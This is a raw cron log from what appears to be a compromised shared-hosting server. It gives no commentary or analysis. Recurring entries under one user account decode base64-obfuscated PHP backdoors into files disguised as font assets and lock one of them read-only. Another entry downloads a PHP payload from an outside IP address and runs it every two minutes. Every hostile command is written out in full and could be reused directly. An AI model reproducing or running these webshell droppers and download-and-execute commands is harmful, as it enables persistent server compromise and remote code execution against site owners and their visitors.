Sep  9 20:06:01 ip-184-168-122-23 CROND[7262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:06:01 ip-184-168-122-23 CROND[7263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:06:01 ip-184-168-122-23 CROND[7265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:07:01 ip-184-168-122-23 CROND[7347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:07:01 ip-184-168-122-23 CROND[7349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:07:01 ip-184-168-122-23 CROND[7350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:07:01 ip-184-168-122-23 CROND[7351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:08:01 ip-184-168-122-23 CROND[7431]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:08:01 ip-184-168-122-23 CROND[7433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:08:01 ip-184-168-122-23 CROND[7434]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:08:01 ip-184-168-122-23 CROND[7435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:08:01 ip-184-168-122-23 CROND[7436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:09:01 ip-184-168-122-23 CROND[7520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:09:01 ip-184-168-122-23 CROND[7522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:09:01 ip-184-168-122-23 CROND[7523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:09:01 ip-184-168-122-23 CROND[7524]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 20:09:01 ip-184-168-122-23 CROND[7521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:10:01 ip-184-168-122-23 CROND[7619]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 20:10:01 ip-184-168-122-23 CROND[7622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:10:01 ip-184-168-122-23 CROND[7624]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:10:01 ip-184-168-122-23 CROND[7627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:10:01 ip-184-168-122-23 CROND[7628]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 20:10:01 ip-184-168-122-23 CROND[7625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:10:01 ip-184-168-122-23 CROND[7629]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 20:10:01 ip-184-168-122-23 CROND[7632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:11:01 ip-184-168-122-23 CROND[7726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:11:01 ip-184-168-122-23 CROND[7727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:11:01 ip-184-168-122-23 CROND[7728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:11:01 ip-184-168-122-23 CROND[7729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:12:01 ip-184-168-122-23 CROND[7810]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:12:01 ip-184-168-122-23 CROND[7812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:12:01 ip-184-168-122-23 CROND[7813]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:12:01 ip-184-168-122-23 CROND[7815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:12:01 ip-184-168-122-23 CROND[7814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:13:01 ip-184-168-122-23 CROND[8016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:13:01 ip-184-168-122-23 CROND[8018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:13:01 ip-184-168-122-23 CROND[8019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:13:01 ip-184-168-122-23 CROND[8017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:14:01 ip-184-168-122-23 CROND[8135]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:14:01 ip-184-168-122-23 CROND[8137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:14:01 ip-184-168-122-23 CROND[8141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:14:01 ip-184-168-122-23 CROND[8139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:14:01 ip-184-168-122-23 CROND[8140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:15:01 ip-184-168-122-23 CROND[8251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:15:01 ip-184-168-122-23 CROND[8249]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 20:15:01 ip-184-168-122-23 CROND[8253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:15:01 ip-184-168-122-23 CROND[8250]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 20:15:01 ip-184-168-122-23 CROND[8254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:15:01 ip-184-168-122-23 CROND[8252]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  9 20:15:01 ip-184-168-122-23 CROND[8255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:16:01 ip-184-168-122-23 CROND[8358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:16:01 ip-184-168-122-23 CROND[8360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:16:01 ip-184-168-122-23 CROND[8361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:16:01 ip-184-168-122-23 CROND[8364]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:16:01 ip-184-168-122-23 CROND[8363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:16:01 ip-184-168-122-23 CROND[8366]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 20:17:01 ip-184-168-122-23 CROND[8458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:17:01 ip-184-168-122-23 CROND[8462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:17:01 ip-184-168-122-23 CROND[8460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:17:01 ip-184-168-122-23 CROND[8461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:18:01 ip-184-168-122-23 CROND[8541]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:18:01 ip-184-168-122-23 CROND[8545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:18:01 ip-184-168-122-23 CROND[8543]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
